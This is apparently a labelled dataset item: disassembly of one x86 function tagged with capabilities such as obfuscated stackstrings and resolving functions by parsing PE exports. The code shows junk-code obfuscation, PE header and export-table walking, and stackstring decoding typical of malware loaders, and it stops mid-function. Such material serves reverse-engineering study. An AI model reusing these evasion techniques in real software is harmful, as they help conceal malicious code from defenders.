Function at 0x1004848f
Capabilities:
Allocate thread local storage
Contain obfuscated stackstrings
Get keyboard layout
Parse pe header
Query environment variable
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1007b288
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0xa2c
push ebx
push esi
push edi
and dword [ebp - 0x18], 0
movzx eax, byte [ebp + 0xc]
test eax, eax
je 0x1004c9de
mov eax, dword [ebp + 8]
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x3c], 0xaa9ac70c
mov dword [ebp - 0x514], 0x229edca8
push 1
lea ecx, [ebp - 0x73c]
call fcn.10016f3c
and dword [ebp - 4], 0
push 0x618
push 0
lea eax, [ebp - 0x7f4]
push eax
lea eax, [ebp - 0x73c]
push eax
call fcn.10046bd8
add esp, 0x10
cmp dword [ebp - 0x3c], 0
jle 0x10048517
mov dword [ebp - 0x36c], 1
jmp 0x1004851e
and dword [ebp - 0x36c], 0
mov eax, dword [ebp - 0x3c]
cmp dword [ebp - 0x36c], eax
jle 0x10048535
mov dword [ebp - 0x4ec], 1
jmp 0x1004853c
and dword [ebp - 0x4ec], 0
mov eax, dword [ebp - 0x3c]
cmp eax, dword [ebp - 0x4ec]
jge 0x10048553
mov dword [ebp - 0x50c], 1
jmp 0x1004855a
and dword [ebp - 0x50c], 0
mov eax, dword [ebp - 0x50c]
mov dword [ebp - 0x514], eax
mov eax, dword [ebp - 0x3c]
cmp dword [ebp - 0x514], eax
jle 0x10048583
cmp dword [ebp - 0x3c], 0
je 0x10048583
mov dword [ebp - 0x52c], 1
jmp 0x1004858a
and dword [ebp - 0x52c], 0
mov eax, dword [ebp - 0x3c]
imul eax, dword [ebp - 0x52c]
add eax, dword [ebp - 0x3c]
imul eax, dword [ebp - 0x3c]
cmp dword [ebp - 0x3c], eax
jle 0x100485ac
mov dword [ebp - 0x4f8], 1
jmp 0x100485b3
and dword [ebp - 0x4f8], 0
mov eax, dword [ebp - 0x3c]
cmp dword [ebp - 0x4f8], eax
jl 0x100485ca
mov dword [ebp - 0x400], 1
jmp 0x100485d1
and dword [ebp - 0x400], 0
mov eax, dword [ebp - 0x400]
mov dword [ebp - 0x3c], eax
push 0x4faf
push 0x6924
push 0x4ca1
push 0x6a32
push 0x58aa
push 0
lea eax, [ebp - 0x3c]
push eax
lea eax, [ebp - 0x73c]
push eax
call fcn.10047a90
add esp, 0x20
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x73c]
call fcn.10016fa8
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x4e8], eax
push 3
lea ecx, [ebp - 0x754]
call fcn.10016f3c
mov dword [ebp - 4], 1
mov dword [ebp - 0xbc], 0
mov dword [ebp - 0x148], 0
jmp 0x10048657
mov eax, dword [ebp - 0x148]
inc eax
mov dword [ebp - 0x148], eax
cmp dword [ebp - 0x148], 3
jge 0x10048679
push dword [ebp - 0x148]
lea ecx, [ebp - 0x754]
call fcn.10016fad
mov dword [eax], 0x7571177e
jmp 0x1004864a
mov dword [ebp - 0xbc], 2
jmp 0x10048692
mov eax, dword [ebp - 0xbc]
dec eax
mov dword [ebp - 0xbc], eax
cmp dword [ebp - 0xbc], 0
jl 0x100486d5
push dword [ebp - 0xbc]
lea ecx, [ebp - 0x754]
call fcn.10016fad
cmp dword [eax], 0
je 0x100486b3
jmp 0x100486d5
mov byte [ebp - 0x8b], 0
movzx eax, byte [ebp - 0x8b]
test eax, eax
je 0x100486d3
push 1
push 0x78c3
call fcn.10046248
pop ecx
pop ecx
jmp 0x10048685
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x754]
call fcn.10016fa8
mov eax, dword [ebp - 0x4e8]
movzx eax, word [eax]
cmp eax, 0x5a4d
je 0x100486f9
jmp 0x1004c9e9
push 3
lea ecx, [ebp - 0x560]
call fcn.10016f3c
mov dword [ebp - 4], 2
mov dword [ebp - 0x5d8], 0xffffffff
mov dword [ebp - 0x5b4], 0x5ce96b77
lea eax, [ebp - 0x830]
push eax
lea eax, [ebp - 0x560]
push eax
push 0x1f11
push 0
call fcn.100482f5
add esp, 0x10
push 0
lea ecx, [ebp - 0x560]
call fcn.10016fad
push 1
lea ecx, [ebp - 0x560]
call fcn.10016fad
cmp dword [eax], 5
jg 0x10048780
push 0
lea ecx, [ebp - 0x560]
call fcn.10016fad
mov eax, dword [eax]
sub eax, dword [ebp - 0x5d8]
je 0x10048780
mov dword [ebp - 0x4e4], 1
jmp 0x10048787
and dword [ebp - 0x4e4], 0
push 2
lea ecx, [ebp - 0x560]
call fcn.10016fad
mov eax, dword [eax]
cmp eax, dword [ebp - 0x4e4]
jg 0x100487aa
mov dword [ebp - 0x2d0], 1
jmp 0x100487b1
and dword [ebp - 0x2d0], 0
mov eax, dword [ebp - 0x2d0]
mov dword [ebp - 0x5b4], eax
mov byte [ebp - 0x90], 0
movzx eax, byte [ebp - 0x90]
test eax, eax
je 0x100487d7
push 0
call fcn.10047323
pop ecx
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x560]
call fcn.10016fa8
mov eax, dword [ebp - 0x4e8]
mov ecx, dword [ebp - 0x20]
add ecx, dword [eax + 0x3c]
mov dword [ebp - 0x98], ecx
push 4
lea ecx, [ebp - 0x7d8]
call fcn.10016f3c
mov dword [ebp - 4], 3
mov dword [ebp - 0xc0], 0xdba76aab
mov dword [ebp - 0x628], 0xab76d609
lea eax, [ebp - 0x7d8]
push eax
push 1
lea eax, [ebp - 0x808]
push eax
call fcn.10046281
add esp, 0xc
mov dword [ebp - 0xc0], 3
jmp 0x10048851
mov eax, dword [ebp - 0xc0]
dec eax
mov dword [ebp - 0xc0], eax
cmp dword [ebp - 0xc0], 0
jl 0x10048983
push 1
lea ecx, [ebp - 0x660]
call fcn.10016f3c
mov byte [ebp - 4], 4
mov dword [ebp - 0x114], 0
jmp 0x10048888
mov eax, dword [ebp - 0x114]
inc eax
mov dword [ebp - 0x114], eax
cmp dword [ebp - 0x114], 1
jge 0x100488aa
push dword [ebp - 0x114]
lea ecx, [ebp - 0x660]
call fcn.10016fad
mov dword [eax], 1
jmp 0x1004887b
push 0
lea ecx, [ebp - 0x660]
call fcn.10016fad
and dword [eax], 0
jmp 0x100488e0
push 0
lea ecx, [ebp - 0x660]
call fcn.10016fad
mov dword [ebp - 0x2d8], eax
mov eax, dword [ebp - 0x2d8]
mov eax, dword [eax]
inc eax
mov ecx, dword [ebp - 0x2d8]
mov dword [ecx], eax
push 0
lea ecx, [ebp - 0x660]
call fcn.10016fad
cmp dword [eax], 3
jg 0x10048950
mov dword [ebp - 0x14c], 9
mov dword [ebp - 0x14c], 3
jmp 0x10048915
mov eax, dword [ebp - 0x14c]
dec eax
mov dword [ebp - 0x14c], eax
cmp dword [ebp - 0x14c], 0
jl 0x1004894b
mov byte [ebp - 0x72], 0
push 0x65fb
push 0x794c
push 0x73ea
lea eax, [ebp - 0x72]
push eax
push 0
push 0xe56
push 0xbdb
call fcn.100473c8
add esp, 0x1c
jmp 0x10048908
jmp 0x100488bc
lea eax, [ebp - 0x628]
push eax
lea eax, [ebp - 0xc0]
push eax
lea eax, [ebp - 0x7d8]
push eax
push 0
call fcn.100468b3
add esp, 0x10
mov byte [ebp - 4], 3
lea ecx, [ebp - 0x660]
call fcn.10016fa8
jmp 0x10048844
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x7d8]
call fcn.10016fa8
mov eax, dword [ebp - 0x98]
cmp dword [eax], 0x4550
je 0x100489a5
jmp 0x1004c9e9
push 8
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x98]
lea eax, [ecx + eax + 0x78]
mov dword [ebp - 0x50], eax
mov dword [ebp - 0x648], 0xbe1d925b
mov dword [ebp - 0x650], 0x600d5493
push 3
lea ecx, [ebp - 0x7cc]
call fcn.10016f3c
mov dword [ebp - 4], 5
mov dword [ebp - 0x630], 0xfffffffd
mov dword [ebp - 0x638], 0
mov dword [ebp - 0x640], 3
mov dword [ebp - 0x11c], 0
jmp 0x10048a17
mov eax, dword [ebp - 0x11c]
inc eax
mov dword [ebp - 0x11c], eax
cmp dword [ebp - 0x11c], 3
jge 0x10048a39
push dword [ebp - 0x11c]
lea ecx, [ebp - 0x7cc]
call fcn.10016fad
mov dword [eax], 0xda972737
jmp 0x10048a0a
push 0x664a
push 0x279f
lea eax, [ebp - 0x7cc]
push eax
lea eax, [ebp - 0x630]
push eax
push 0
lea eax, [ebp - 0x638]
push eax
lea eax, [ebp - 0x640]
push eax
lea eax, [ebp - 0x648]
push eax
lea eax, [ebp - 0x650]
push eax
call fcn.10046c58
add esp, 0x24
mov byte [ebp - 0x74], 0
movzx eax, byte [ebp - 0x74]
test eax, eax
je 0x10048aa0
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
push 0
push 0xdef
call dword [sym.imp.GDI32.dll_SetWinMetaFileBits]
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x7cc]
call fcn.10016fa8
mov eax, dword [ebp - 0x50]
cmp dword [eax + 4], 0
jne 0x10048abd
jmp 0x1004c9e9
and dword [ebp - 0x28], 0
mov dword [ebp - 0x2e0], 0x5c62e089
mov dword [ebp - 0x408], 1
mov dword [ebp - 0x678], 1
mov dword [ebp - 0x688], 0
push 4
lea ecx, [ebp - 0x760]
call fcn.10016f3c
mov dword [ebp - 4], 6
mov dword [ebp - 0x684], 0x6d9e96b
mov dword [ebp - 0x154], 0
jmp 0x10048b20
mov eax, dword [ebp - 0x154]
inc eax
mov dword [ebp - 0x154], eax
cmp dword [ebp - 0x154], 4
jge 0x10048b42
push dword [ebp - 0x154]
lea ecx, [ebp - 0x760]
call fcn.10016fad
mov dword [eax], 0xef8169c1
jmp 0x10048b13
lea eax, [ebp - 0x2e0]
push eax
push 0
lea eax, [ebp - 0x408]
push eax
push 0xf8f
call fcn.100467bf
add esp, 0x10
lea eax, [ebp - 0x684]
push eax
lea eax, [ebp - 0x688]
push eax
push 1
lea eax, [ebp - 0x678]
push eax
lea eax, [ebp - 0x408]
push eax
lea eax, [ebp - 0x2e0]
push eax
lea eax, [ebp - 0x760]
push eax
call fcn.10046300
add esp, 0x1c
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x760]
call fcn.10016fa8
mov eax, dword [ebp - 0x98]
movzx eax, word [eax + 0x14]
mov ecx, dword [ebp - 0x98]
lea eax, [ecx + eax + 0x18]
mov dword [ebp - 0x178], eax
push 0
push 0x661b
push 0x15e9
push 0x3d24
lea eax, [ebp - 0x50]
push eax
lea eax, [ebp - 0x98]
push eax
lea eax, [ebp - 0x178]
push eax
lea eax, [ebp - 0x28]
push eax
call fcn.10046f54
add esp, 0x20
cmp dword [ebp - 0x28], 0
jne 0x10048bf6
jmp 0x1004c9e9
mov dword [ebp - 0x94], 0xf845d811
mov dword [ebp - 0x124], 0x5de1
mov dword [ebp - 0x2e8], 2
mov dword [ebp - 0x278], 0x21f7d967
mov dword [ebp - 0x4a8], 0xc995f762
push 4
lea ecx, [ebp - 0x790]
call fcn.10016f3c
mov dword [ebp - 4], 7
mov dword [ebp - 0x5ac], 1
mov dword [ebp - 0x570], 0xfffffffa
mov dword [ebp - 0x24], 0
jmp 0x10048c60
mov eax, dword [ebp - 0x24]
inc eax
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 3
jge 0x10048c76
mov eax, dword [ebp - 0x24]
mov dword [ebp + eax*4 - 0x854], 0x2bae
jmp 0x10048c59
mov dword [ebp - 0x24], 0
jmp 0x10048c86
mov eax, dword [ebp - 0x24]
inc eax
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 4
jge 0x10048ca2
push dword [ebp - 0x24]
lea ecx, [ebp - 0x790]
call fcn.10016fad
mov dword [eax], 0x260d
jmp 0x10048c7f
mov dword [ebp - 0x24], 0
jmp 0x10048cb2
mov eax, dword [ebp - 0x24]
inc eax
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 2
jge 0x10048cc8
mov eax, dword [ebp - 0x24]
mov dword [ebp + eax*4 - 0x83c], 0xcb64b693
jmp 0x10048cab
mov eax, dword [ebp - 0x94]
mov dword [ebp - 0x898], eax
mov eax, dword [ebp - 0x124]
cmp dword [ebp - 0x124], eax
jg 0x10048cee
mov dword [ebp - 0x4a0], 1
jmp 0x10048cf5
and dword [ebp - 0x4a0], 0
mov eax, dword [ebp - 0x4a0]
sub eax, dword [ebp - 0x94]
mov dword [ebp - 0x2e8], eax
mov eax, dword [ebp - 0x124]
cmp dword [ebp - 0x2e8], eax
jge 0x10048d21
mov dword [ebp - 0x410], 1
jmp 0x10048d28
and dword [ebp - 0x410], 0
mov eax, dword [ebp - 0x94]
cmp eax, dword [ebp - 0x410]
jge 0x10048d42
mov dword [ebp - 0x2f0], 1
jmp 0x10048d49
and dword [ebp - 0x2f0], 0
mov eax, dword [ebp - 0x94]
cmp dword [ebp - 0x2f0], eax
jle 0x10048d63
mov dword [ebp - 0x4f4], 1
jmp 0x10048d6a
and dword [ebp - 0x4f4], 0
cmp dword [ebp - 0x4f4], 4
jae 0x10048d7f
mov dword [ebp - 0x418], 1
jmp 0x10048d86
and dword [ebp - 0x418], 0
mov eax, dword [ebp - 0x94]
mov dword [ebp - 0x2f8], eax
push 4
pop eax
shl eax, 1
mov ecx, dword [ebp - 0x2f8]
mov dword [ebp + eax - 0x854], ecx
mov eax, dword [ebp - 0x2f8]
imul eax, dword [ebp - 0x418]
imul eax, dword [ebp - 0x278]
cmp eax, dword [ebp - 0x278]
jne 0x10048dcc
mov dword [ebp - 0x300], 1
jmp 0x10048dd3
and dword [ebp - 0x300], 0
mov eax, dword [ebp - 0x300]
mov dword [ebp - 0x4a8], eax
mov eax, dword [ebp - 0x124]
cmp dword [ebp - 0x4a8], eax
jl 0x10048df9
mov dword [ebp - 0x5c8], 1
jmp 0x10048e00
and dword [ebp - 0x5c8], 0
mov eax, dword [ebp - 0x94]
mov dword [ebp - 0x81c], eax
mov eax, dword [ebp - 0x278]
mov dword [ebp - 0x8a0], eax
push 0
lea ecx, [ebp - 0x790]
call fcn.10016fad
cmp dword [eax], 0
jne 0x10048e42
push 4
pop eax
shl eax, 1
cmp dword [ebp + eax - 0x854], 0
jne 0x10048e42
and dword [ebp - 0x308], 0
jmp 0x10048e4c
mov dword [ebp - 0x308], 1
cmp dword [ebp - 0x308], 1
jb 0x10048e65
push 0xfffffffffffffffa
pop eax
test eax, eax
jne 0x10048e65
and dword [ebp - 0x2b4], 0
jmp 0x10048e6f
mov dword [ebp - 0x2b4], 1
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0x2b4]
mov dword [ebp + eax - 0x83c], ecx
mov eax, dword [ebp - 0x5ac]
cmp dword [ebp - 0x2b4], eax
jg 0x10048e9c
mov dword [ebp - 0x420], 1
jmp 0x10048ea3
and dword [ebp - 0x420], 0
mov eax, dword [ebp - 0x420]
mov dword [ebp - 0x570], eax
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x790]
call fcn.10016fa8
mov eax, dword [ebp - 0x50]
mov ecx, dword [ebp - 0x28]
add ecx, dword [eax]
add ecx, dword [ebp - 0x20]
mov dword [ebp - 0x14], ecx
xor ecx, ecx
call fcn.100306de
push eax
call fcn.10062de8
pop ecx
mov dword [ebp - 0x64], 0xcd453606
mov dword [ebp - 0xac], 0xfffffff9
mov dword [ebp - 0x5e0], 0xfffffffd
mov dword [ebp - 0x58], 0
jmp 0x10048f05
mov eax, dword [ebp - 0x58]
inc eax
mov dword [ebp - 0x58], eax
cmp dword [ebp - 0x58], 3
jge 0x10048f1b
mov eax, dword [ebp - 0x58]
mov dword [ebp + eax*4 - 0x104], 0xfffffff7
jmp 0x10048efe
mov dword [ebp - 0x58], 0
jmp 0x10048f2b
mov eax, dword [ebp - 0x58]
inc eax
mov dword [ebp - 0x58], eax
cmp dword [ebp - 0x58], 3
jge 0x10048f41
mov eax, dword [ebp - 0x58]
mov dword [ebp + eax*4 - 0x7c0], 0xae446f94
jmp 0x10048f24
mov dword [ebp - 0x64], 2
jmp 0x10048f51
mov eax, dword [ebp - 0x64]
dec eax
mov dword [ebp - 0x64], eax
cmp dword [ebp - 0x64], 0
jl 0x100492f1
mov dword [ebp - 0x80], 0x98311173
mov dword [ebp - 0x80], 0
jmp 0x10048f72
mov eax, dword [ebp - 0x80]
inc eax
mov dword [ebp - 0x80], eax
cmp dword [ebp - 0x80], 2
jg 0x100492da
mov dword [ebp - 0x9c], 2
mov dword [ebp - 0x4b0], 0xb0121307
push 4
lea ecx, [ebp - 0x7a8]
call fcn.10016f3c
mov dword [ebp - 4], 8
mov dword [ebp - 0x578], 5
mov dword [ebp - 0x15c], 0
jmp 0x10048fc7
mov eax, dword [ebp - 0x15c]
inc eax
mov dword [ebp - 0x15c], eax
cmp dword [ebp - 0x15c], 4
jge 0x10048fe9
push dword [ebp - 0x15c]
lea ecx, [ebp - 0x7a8]
call fcn.10016fad
mov dword [eax], 0xfffffffa
jmp 0x10048fba
push 0x6a83
push 1
push 0x10df
lea eax, [ebp - 0x9c]
push eax
call fcn.100467bf
add esp, 0x10
mov dword [ebp - 0x9c], 0
jmp 0x1004901d
mov eax, dword [ebp - 0x9c]
inc eax
mov dword [ebp - 0x9c], eax
cmp dword [ebp - 0x9c], 2
jg 0x100492c6
mov dword [ebp - 0x48], 0xffffffff
mov dword [ebp - 0x580], 0xfffffff8
mov dword [ebp - 0x48], 2
jmp 0x1004904b
mov eax, dword [ebp - 0x48]
dec eax
mov dword [ebp - 0x48], eax
cmp dword [ebp - 0x48], 0
jl 0x100492c1
mov dword [ebp - 0x12c], 0x3ffaf072
mov dword [ebp - 0x330], 0xffff
mov dword [ebp - 0x12c], 2
jmp 0x10049082
mov eax, dword [ebp - 0x12c]
dec eax
mov dword [ebp - 0x12c], eax
cmp dword [ebp - 0x12c], 0
jl 0x100492bc
mov byte [ebp - 0x76], 0
movzx eax, byte [ebp - 0x76]
test eax, eax
je 0x100490b1
push 0
push 0x212e
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_SetTimer]
mov eax, dword [ebp - 0x48]
mov eax, dword [ebp + eax*4 - 0x104]
mov dword [ebp - 0x824], eax
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0x104]
sub eax, 3
cmp eax, dword [ebp - 0x48]
jne 0x100490e1
mov dword [ebp - 0x5d0], 1
jmp 0x100490e8
and dword [ebp - 0x5d0], 0
mov eax, dword [ebp - 0x48]
mov eax, dword [ebp + eax*4 - 0x104]
mov dword [ebp - 0x8a8], eax
mov eax, dword [ebp - 0x48]
mov eax, dword [ebp + eax*4 - 0x104]
cmp dword [ebp - 0x9c], eax
jne 0x10049116
mov dword [ebp - 0x310], 1
jmp 0x1004911d
and dword [ebp - 0x310], 0
mov eax, dword [ebp - 0x48]
cmp dword [ebp - 0x310], eax
jg 0x10049134
mov dword [ebp - 0x4f0], 1
jmp 0x1004913b
and dword [ebp - 0x4f0], 0
mov esi, dword [ebp - 0x64]
push 4
pop eax
shl eax, 0
mov edi, dword [ebp + eax - 0x104]
imul edi, dword [ebp - 0x4f0]
push 3
lea ecx, [ebp - 0x7a8]
call fcn.10016fad
sub edi, dword [eax]
imul eax, edi, 0xffff
cmp esi, eax
jge 0x10049177
mov dword [ebp - 0x318], 1
jmp 0x1004917e
and dword [ebp - 0x318], 0
mov eax, dword [ebp - 0x80]
cmp dword [ebp - 0x318], eax
jle 0x10049195
mov dword [ebp - 0x428], 1
jmp 0x1004919c
and dword [ebp - 0x428], 0
mov eax, dword [ebp - 0x578]
cmp dword [ebp - 0x428], eax
jne 0x100491b6
mov dword [ebp - 0x320], 1
jmp 0x100491bd
and dword [ebp - 0x320], 0
mov dword [ebp - 0x4b0], 1
mov eax, dword [ebp - 0x320]
add eax, 0x61d0ee3b
cmp dword [ebp - 0x4b0], eax
jne 0x100491e6
mov dword [ebp - 0x328], 1
jmp 0x100491ed
and dword [ebp - 0x328], 0
mov eax, dword [ebp - 0x48]
mov eax, dword [ebp + eax*4 - 0x104]
cmp dword [ebp - 0x328], eax
jge 0x1004920b
mov dword [ebp - 0x430], 1
jmp 0x10049212
and dword [ebp - 0x430], 0
mov eax, dword [ebp - 0x64]
imul eax, dword [ebp - 0x430]
cmp eax, 0xffff
jae 0x1004922f
mov dword [ebp - 0x564], 1
jmp 0x10049236
and dword [ebp - 0x564], 0
mov eax, dword [ebp - 0x330]
mov dword [ebp - 0x82c], eax
mov eax, dword [ebp - 0x80]
cmp dword [ebp - 0x330], eax
jle 0x10049259
mov dword [ebp - 0x4fc], 1
jmp 0x10049260
and dword [ebp - 0x4fc], 0
imul eax, dword [ebp - 0x4fc], 0xffff
push 4
pop ecx
imul ecx, ecx, 0
cmp eax, dword [ebp + ecx - 0x104]
jle 0x10049285
mov dword [ebp - 0x338], 1
jmp 0x1004928c
and dword [ebp - 0x338], 0
cmp dword [ebp - 0x338], 0xffffffff
je 0x100492a1
mov dword [ebp - 0x438], 1
jmp 0x100492a8
and dword [ebp - 0x438], 0
mov eax, dword [ebp - 0x80]
add eax, dword [ebp - 0x438]
mov dword [ebp - 0x580], eax
jmp 0x10049075
jmp 0x10049044
jmp 0x10049010
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x7a8]
call fcn.10016fa8
jmp 0x10048f6b
mov eax, dword [ebp - 0x64]
cmp dword [ebp + eax*4 - 0x104], 0
je 0x100492ec
jmp 0x10048f4a
jmp 0x10048f4a
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x104]
mov dword [ebp - 0x8a4], eax
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0x104], 0
jne 0x100493b3
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x104]
mov dword [ebp - 0x834], eax
push 4
pop eax
shl eax, 1
cmp dword [ebp + eax - 0x7c0], 0xb8378c3a
je 0x10049349
mov dword [ebp - 0x340], 1
jmp 0x10049350
and dword [ebp - 0x340], 0
mov eax, dword [ebp - 0xac]
add eax, dword [ebp - 0x340]
cmp eax, dword [ebp - 0xac]
jle 0x1004938f
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0x104], 0
je 0x1004938f
push 4
pop eax
shl eax, 1
cmp dword [ebp + eax - 0x7c0], 0
je 0x1004938f
mov dword [ebp - 0x4b8], 1
jmp 0x10049396
and dword [ebp - 0x4b8], 0
mov dword [ebp - 0x64], 0xbdd2
mov eax, dword [ebp - 0x4b8]
neg eax
cmp dword [ebp - 0x64], eax
jle 0x100493b3
and dword [ebp - 0x2b0], 0
jmp 0x100493bd
mov dword [ebp - 0x2b0], 1
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x2b0]
mov dword [ebp + eax - 0x7c0], ecx
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0x104]
cmp eax, dword [ebp - 0x2b0]
jle 0x100493f0
mov dword [ebp - 0x348], 1
jmp 0x100493f7
and dword [ebp - 0x348], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x104]
cmp dword [ebp - 0x348], eax
jl 0x10049418
mov dword [ebp - 0x440], 1
jmp 0x1004941f
and dword [ebp - 0x440], 0
mov eax, dword [ebp - 0xac]
add eax, dword [ebp - 0x440]
cmp eax, dword [ebp - 0xac]
jne 0x1004943f
mov dword [ebp - 0x350], 1
jmp 0x10049446
and dword [ebp - 0x350], 0
mov eax, dword [ebp - 0xac]
cmp dword [ebp - 0x350], eax
je 0x10049460
mov dword [ebp - 0x504], 1
jmp 0x10049467
and dword [ebp - 0x504], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x104]
cmp dword [ebp - 0x504], eax
jg 0x10049488
mov dword [ebp - 0x358], 1
jmp 0x1004948f
and dword [ebp - 0x358], 0
mov eax, dword [ebp - 0x358]
sub eax, dword [ebp - 0xac]
mov dword [ebp - 0x5e0], eax
mov byte [ebp - 0x214], 6
mov byte [ebp - 0x213], 0x69
mov byte [ebp - 0x212], 9
mov byte [ebp - 0x211], 1
mov byte [ebp - 0x210], 3
mov byte [ebp - 0x20f], 7
mov byte [ebp - 0x20e], 4
mov byte [ebp - 0x20d], 0xf
mov byte [ebp - 0x20c], 2
mov byte [ebp - 0x20b], 0xf
mov byte [ebp - 0x20a], 1
mov byte [ebp - 0x209], 2
mov byte [ebp - 0x208], 7
mov byte [ebp - 0x207], 3
mov byte [ebp - 0x206], 0x3e
mov byte [ebp - 0x205], 0x15
mov byte [ebp - 0x204], 0x24
mov byte [ebp - 0x203], 0xf9
mov byte [ebp - 0x202], 0x49
mov byte [ebp - 0x201], 0x8e
mov byte [ebp - 0x200], 0xe4
mov byte [ebp - 0x1ff], 0xe4
mov byte [ebp - 0x1fe], 0x4a
mov byte [ebp - 0x1fd], 0xeb
mov byte [ebp - 0x1fc], 0x34
mov byte [ebp - 0x1fb], 0xa0
mov byte [ebp - 0x1fa], 0x75
mov byte [ebp - 0x1f9], 0xbd
mov byte [ebp - 0x1f8], 0x84
mov byte [ebp - 0x1f7], 0x24
mov byte [ebp - 0x1f6], 0x38
mov byte [ebp - 0x1f5], 0xfe
mov byte [ebp - 0x1f4], 0x59
mov byte [ebp - 0x1f3], 0x44
mov byte [ebp - 0x1f2], 0x40
mov byte [ebp - 0x1f1], 0xdc
mov byte [ebp - 0x1f0], 0xc7
mov byte [ebp - 0x1ef], 0xb8
mov byte [ebp - 0x1ee], 0xc1
mov byte [ebp - 0x1ed], pe_nt_image_headers32
mov byte [ebp - 0x1ec], 0xe9
mov byte [ebp - 0x1eb], 0x54
mov byte [ebp - 0x1ea], 0xb
mov byte [ebp - 0x1e9], 0x39
mov byte [ebp - 0x1e8], 0xe2
mov byte [ebp - 0x1e7], 0x96
mov byte [ebp - 0x1e6], 0xbe
mov byte [ebp - 0x1e5], 0x2f
mov byte [ebp - 0x1e4], 0xd2
mov byte [ebp - 0x1e3], 0xcd
mov byte [ebp - 0x1e2], 0xa1
mov byte [ebp - 0x1e1], 0x34
mov byte [ebp - 0x1e0], 0x68
mov byte [ebp - 0x1df], 0x75
mov byte [ebp - 0x1de], 0xd7
mov byte [ebp - 0x1dd], 0x54
mov byte [ebp - 0x1dc], 0x71
mov byte [ebp - 0x1db], 0xa0
mov byte [ebp - 0x1da], 0x7b
mov byte [ebp - 0x1d9], 0
mov byte [ebp - 0x1d8], 8
mov byte [ebp - 0x1d7], 0xf9
mov byte [ebp - 0x1d6], 0xed
mov byte [ebp - 0x1d5], 0xc2
mov byte [ebp - 0x1d4], 0xc5
mov byte [ebp - 0x1d3], 0x33
mov byte [ebp - 0x1d2], 0xc9
mov byte [ebp - 0x1d1], 0x6a
mov byte [ebp - 0x1d0], 0x25
mov byte [ebp - 0x1cf], 0x80
mov byte [ebp - 0x1ce], 0x53
mov byte [ebp - 0x1cd], 0x4f
mov byte [ebp - 0x1cc], 0x6a
mov byte [ebp - 0x1cb], 0xe4
mov byte [ebp - 0x1ca], 0x58
mov byte [ebp - 0x1c9], 0xbf
mov byte [ebp - 0x1c8], 0x3f
mov byte [ebp - 0x1c7], 8
mov byte [ebp - 0x1c6], 6
mov byte [ebp - 0x1c5], 0
mov byte [ebp - 0x1c4], 1
mov byte [ebp - 0x1c3], 5
mov byte [ebp - 0x1c2], 0
xor eax, eax
inc eax
shl eax, 0
movzx eax, byte [ebp + eax - 0x214]
or eax, 0x58
xor ecx, ecx
inc ecx
shl ecx, 0
movzx ecx, byte [ebp + ecx - 0x214]
and ecx, 0x58
sub eax, ecx
xor ecx, ecx
inc ecx
imul ecx, ecx, 0
movzx ecx, byte [ebp + ecx - 0x214]
mov byte [ebp + ecx - 0x544], al
mov dword [ebp - 0x34], 2
and dword [ebp - 0x164], 0
jmp 0x10049737
mov eax, dword [ebp - 0x34]
inc eax
inc eax
mov dword [ebp - 0x34], eax
cmp dword [ebp - 0x34], 0x53
jae 0x100497f6
xor eax, eax
inc eax
imul eax, eax, 0
movzx eax, byte [ebp + eax - 0x214]
lea eax, [eax + eax + 2]
cmp dword [ebp - 0x34], eax
jne 0x10049781
mov eax, dword [ebp - 0x34]
movzx eax, byte [ebp + eax - 0x214]
inc eax
mov dword [ebp - 0x164], eax
mov eax, dword [ebp - 0x34]
movzx eax, byte [ebp + eax - 0x214]
mov ecx, dword [ebp - 0x34]
lea eax, [ecx + eax - 1]
mov dword [ebp - 0x34], eax
jmp 0x1004972f
mov eax, dword [ebp - 0x34]
movzx eax, byte [ebp + eax - 0x213]
mov ecx, dword [ebp - 0x34]
sub ecx, dword [ebp - 0x164]
movzx ecx, byte [ebp + ecx - 0x216]
movsx ecx, byte [ebp + ecx - 0x544]
or eax, ecx
mov ecx, dword [ebp - 0x34]
movzx ecx, byte [ebp + ecx - 0x213]
mov edx, dword [ebp - 0x34]
sub edx, dword [ebp - 0x164]
movzx edx, byte [ebp + edx - 0x216]
movsx edx, byte [ebp + edx - 0x544]
and ecx, edx
sub eax, ecx
mov ecx, dword [ebp - 0x34]
movzx ecx, byte [ebp + ecx - 0x214]
mov byte [ebp + ecx - 0x544], al
lea eax, [ebp - 0x164]
push eax
push 0
call fcn.1004687f
pop ecx
pop ecx
jmp 0x1004972f
xor eax, eax
inc eax
imul eax, eax, 0xa
mov byte [ebp + eax - 0x544], 0
lea eax, [ebp - 0x544]
push eax
lea ecx, [ebp - 0x994]
call fcn.10024b17
mov dword [ebp - 0x588], eax
mov eax, dword [ebp - 0x588]
mov dword [ebp - 0x5e8], eax
mov dword [ebp - 4], 9
push 0xa
